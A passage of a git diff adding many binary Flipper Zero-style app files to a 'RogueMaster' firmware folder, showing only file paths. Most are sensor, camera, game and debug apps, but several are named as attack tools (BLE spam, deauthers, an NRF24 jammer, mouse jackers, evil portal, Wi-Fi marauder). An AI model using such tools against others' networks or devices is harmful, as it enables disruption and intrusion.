diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_spam.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_spam.fap new file mode 100644 index 000000000..b3537aeeb Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_spam.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/bt_trigger.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/bt_trigger.fap new file mode 100644 index 000000000..2452bb020 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/bt_trigger.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/cookie_clicker.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/cookie_clicker.fap new file mode 100644 index 000000000..fbf6622fc Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/cookie_clicker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/findmy.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/findmy.fap new file mode 100644 index 000000000..9a5d17500 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/findmy.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/hid_ble.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/hid_ble.fap new file mode 100644 index 000000000..bc0d1698e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/hid_ble.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/pc_monitor.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/pc_monitor.fap new file mode 100644 index 000000000..facf79b1a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/pc_monitor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/remote_kodi.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/remote_kodi.fap new file mode 100644 index 000000000..a7a106af4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/remote_kodi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/wendigo.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/wendigo.fap new file mode 100644 index 000000000..304165ba9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/wendigo.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/401_light_msg.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/401_light_msg.fap new file mode 100644 index 000000000..db720a4eb Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/401_light_msg.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/avr_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/avr_flasher.fap new file mode 100644 index 000000000..3c9f48e8a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/avr_flasher.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/dap_link.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/dap_link.fap new file mode 100644 index 000000000..7fcc836db Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/dap_link.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/eth_troubleshooter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/eth_troubleshooter.fap new file mode 100644 index 000000000..00a5f01b3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/eth_troubleshooter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/i2c_tools.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/i2c_tools.fap new file mode 100644 index 000000000..8b7ba4ebb Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/i2c_tools.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/spi_mem_manager.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/spi_mem_manager.fap new file mode 100644 index 000000000..15ab1ef4c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/spi_mem_manager.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/swd_probe.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/swd_probe.fap new file mode 100644 index 000000000..c3feaa555 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/swd_probe.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_killer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_killer.fap new file mode 100644 index 000000000..9438e7b5f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_killer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_camera.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_camera.fap new file mode 100644 index 000000000..354cfbf6c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_camera.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_marauder.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_marauder.fap new file mode 100644 index 000000000..b9fa4a7a0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_marauder.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap new file mode 100644 index 000000000..7ae68fe45 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_motion.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_motion.fap new file mode 100644 index 000000000..ada6912ea Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_motion.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_nannycam.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_nannycam.fap new file mode 100644 index 000000000..f58dfbe0c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_nannycam.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_qrcode.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_qrcode.fap new file mode 100644 index 000000000..d39d89c64 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_qrcode.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/camera_suite.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/camera_suite.fap new file mode 100644 index 000000000..f15b91d58 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/camera_suite.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_camera.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_camera.fap new file mode 100644 index 000000000..9cd9e453a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_camera.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_gravity.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_gravity.fap new file mode 100644 index 000000000..f089af1ce Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_gravity.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp_flasher.fap new file mode 100644 index 000000000..6cbceead9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp_flasher.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_portal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_portal.fap new file mode 100644 index 000000000..647416a3c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_portal.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_downloader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_downloader.fap new file mode 100644 index 000000000..7532fafd1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_downloader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_library.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_library.fap new file mode 100644 index 000000000..861984aba Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_library.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_rpi.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_rpi.fap new file mode 100644 index 000000000..d37010be0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_rpi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_social.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_social.fap new file mode 100644 index 000000000..83f78bc83 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_social.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_trader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_trader.fap new file mode 100644 index 000000000..a4f0a5b83 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_trader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_weather.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_weather.fap new file mode 100644 index 000000000..293c542b8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_weather.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_wifi.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_wifi.fap new file mode 100644 index 000000000..797b67809 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_wifi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_world.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_world.fap new file mode 100644 index 000000000..350574dc8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_world.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/gemini_ia.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/gemini_ia.fap new file mode 100644 index 000000000..e8d5aaee9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/gemini_ia.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ghost_esp.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ghost_esp.fap new file mode 100644 index 000000000..23ba6e22c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ghost_esp.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/postman.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/postman.fap new file mode 100644 index 000000000..beeec9630 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/postman.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wardriver.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wardriver.fap new file mode 100644 index 000000000..22415d653 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wardriver.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/web_crawler.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/web_crawler.fap new file mode 100644 index 000000000..9d149f374 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/web_crawler.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_mapping.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_mapping.fap new file mode 100644 index 000000000..ddf1b6914 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_mapping.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_marauder.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_marauder.fap new file mode 100644 index 000000000..514eeb137 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_marauder.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/deauther.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/deauther.fap new file mode 100644 index 000000000..93634afec Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/deauther.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/ifttt_button.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/ifttt_button.fap new file mode 100644 index 000000000..2977bb829 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/ifttt_button.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap new file mode 100644 index 000000000..4b29a7436 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap new file mode 100644 index 000000000..eb106f9a2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap new file mode 100644 index 000000000..04ed877b1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap new file mode 100644 index 000000000..ff95b2be0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap new file mode 100644 index 000000000..33f12c028 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap new file mode 100644 index 000000000..c05363721 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/gb_printer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/gb_printer.fap new file mode 100644 index 000000000..790c1686e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/gb_printer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap new file mode 100644 index 000000000..fec68edd8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap new file mode 100644 index 000000000..708f49104 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap new file mode 100644 index 000000000..ebc1f68ed Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap new file mode 100644 index 000000000..fc9cee071 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap new file mode 100644 index 000000000..224220389 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap new file mode 100644 index 000000000..cb50d5f21 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap new file mode 100644 index 000000000..53814c33e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap new file mode 100644 index 000000000..cc3e29b85 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/batch.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/batch.fap new file mode 100644 index 000000000..ec32f5d4d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/batch.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/channel_scan.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/channel_scan.fap new file mode 100644 index 000000000..47f8f3970 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/channel_scan.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker.fap new file mode 100644 index 000000000..205b449ca Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap new file mode 100644 index 000000000..bd588bbad Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_jammer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_jammer.fap new file mode 100644 index 000000000..acf095be7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_jammer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_monitor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_monitor.fap new file mode 100644 index 000000000..c09188680 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_monitor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/scanner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/scanner.fap new file mode 100644 index 000000000..f37a2a6c8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/scanner.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer.fap new file mode 100644 index 000000000..01aef9661 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer_ms.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer_ms.fap new file mode 100644 index 000000000..725809f87 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer_ms.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap new file mode 100644 index 000000000..347cdc2bd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap new file mode 100644 index 000000000..94b562ab6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/gas_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/gas_sensor.fap new file mode 100644 index 000000000..8f5fd35f2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/gas_sensor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap new file mode 100644 index 000000000..62cd748f6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap new file mode 100644 index 000000000..165646bf9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/max31855.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/max31855.fap new file mode 100644 index 000000000..7a521836c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/max31855.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap new file mode 100644 index 000000000..87715cbc1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mhz19_uart.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mhz19_uart.fap new file mode 100644 index 000000000..ca8e7bcab Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mhz19_uart.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mx2125_accelerometer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mx2125_accelerometer.fap new file mode 100644 index 000000000..aa59b0679 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mx2125_accelerometer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap new file mode 100644 index 000000000..e7a75c405 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radar_scanner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radar_scanner.fap new file mode 100644 index 000000000..bf37ad537 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radar_scanner.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radiation_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radiation_sensor.fap new file mode 100644 index 000000000..915975523 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radiation_sensor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap new file mode 100644 index 000000000..4ed4e09a5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/sleep_counter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/sleep_counter.fap new file mode 100644 index 000000000..cc48ae5cb Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/sleep_counter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap new file mode 100644 index 000000000..108b1642b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap new file mode 100644 index 000000000..f0e938af8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/uv_meter_as7331.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/uv_meter_as7331.fap new file mode 100644 index 000000000..a2c6a9ce1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/uv_meter_as7331.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_arkanoid.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_arkanoid.fap new file mode 100644 index 000000000..56bc7e012 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_arkanoid.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_labyrinth.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_labyrinth.fap new file mode 100644 index 000000000..3a2dd49d4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_labyrinth.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap new file mode 100644 index 000000000..26632c003 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/video_game_module_tool.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/video_game_module_tool.fap new file mode 100644 index 000000000..5dfd04f22 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/video_game_module_tool.fap differ diff --git a/Applications/Custom 